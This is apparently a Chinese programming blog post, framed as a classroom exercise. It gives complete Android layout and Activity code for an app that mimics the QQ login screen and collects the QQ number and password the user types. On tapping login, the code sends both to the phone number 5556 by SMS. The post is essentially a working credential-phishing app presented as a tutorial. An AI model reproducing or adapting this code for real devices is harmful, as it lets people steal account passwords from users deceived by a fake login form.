• Android之获取输入用户名与密码发送短信


    打算在过两三天的时间我就要准备出发去浙江了,所以把之前的资料来个总结。

    这都是在课堂上做过的作业。

    好了,废话少说,直接上代码。

    步骤:

    1.设置单击事件
    2.获取输入的QQ号码与密码
    3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
    4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
    5.发送QQ号码与密码

    布局:

    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
            xmlns:tools="http://schemas.android.com/tools"
            android:layout_width="match_parent"
            android:layout_height="match_parent"
            android:gravity="center_horizontal"
            android:orientation="vertical"
            android:paddingBottom="@dimen/activity_vertical_margin"
            android:paddingLeft="@dimen/activity_horizontal_margin"
            android:paddingRight="@dimen/activity_horizontal_margin"
            android:paddingTop="@dimen/activity_vertical_margin"
            tools:context=".MainActivity" >
    
            <ImageView
                android:background="#09A3DC"
                android:layout_width="match_parent"
                android:layout_height="wrap_content"
                android:src="@drawable/qq" />
    
            <!--输入QQ号码  -->
            <EditText
                android:id="@+id/et_qqNumber"
                android:layout_width="match_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="20dp"
                android:hint="请输入qq号码:"
                android:inputType="numberSigned" />
            <!--输入QQ密码-->
            <EditText
                android:id="@+id/et_qqPassword"
                android:layout_width="match_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="20dp"
                android:hint="请输入qq密码:"
                android:inputType="textPassword" />
    
    
    
            <Button 
                   android:id="@+id/btn_login"
                android:layout_width="match_parent"
                android:layout_height="wrap_content"
                android:layout_marginTop="20dp"
                android:textColor="#ffffff"
                android:background="#09A3DC"
                android:text="登录"/>
        </LinearLayout>
    

    Activity:

     public class MainActivity extends Activity {
             EditText et_qqNumber;
             EditText et_qqPassword;
             Button btn_login;
            @Override
            protected void onCreate(Bundle savedInstanceState) {
                super.onCreate(savedInstanceState);
                setContentView(R.layout.activity_main);
                  et_qqNumber=(EditText) findViewById(R.id.et_qqNumber);
                  et_qqPassword=(EditText) findViewById(R.id.et_qqPassword);
                  btn_login=(Button) findViewById(R.id.btn_login);
                  btn_login.setOnClickListener(new OnClickListener() {
    
                    @Override
                    public void onClick(View v) {
                        //2.获取输入的QQ号码与密码
                        String qq = et_qqNumber.getText().toString().trim();
                        String password = et_qqPassword.getText().toString().trim();
                         // 3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
                        if(TextUtils.isEmpty(qq)|| TextUtils.isEmpty(password)){
                            Toast.makeText(MainActivity.this, "QQ号码或者密码不能为空!", Toast.LENGTH_SHORT).show();
                            return ;
                        }
                        // 4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
                        SmsManager manager = SmsManager.getDefault();
                        // 5.发送QQ号码与密码
                        String message="qq :"+qq+",pwd:"+password;
                        manager.sendTextMessage("5556", null, message, null, null);
                    /*    
                         * 分离短信
                        ArrayList<String> divideMessage = manager.divideMessage(message);
                        for (String str : divideMessage) {
                            manager.sendTextMessage("5556", null, str, null, null);
                        }*/
                    }
                });
            }
    
    
    
        }
  • 相关阅读:
    No architectures to compile for (ONLY_ACTIVE_ARCH=YES, active arch=arm64, VALID_ARCHS=armv7 armv7s).
    播放器 倒计时 闹钟 日期 分秒 时间算法
    iOS 8 以后获取地图坐标:
    数据存储(直接写入、NSUserDefaults、NSkeyedArchiver)
    图片处理 模糊效果
    手把手教你Windows下Go语言的环境搭建
    github 上传或删除 文件 命令
    域名解析-delphi 源码
    指针与引用
    指针
  • 原文地址:https://www.cnblogs.com/caidupingblogs/p/6095836.html
Copyright © 2020-2023  润新知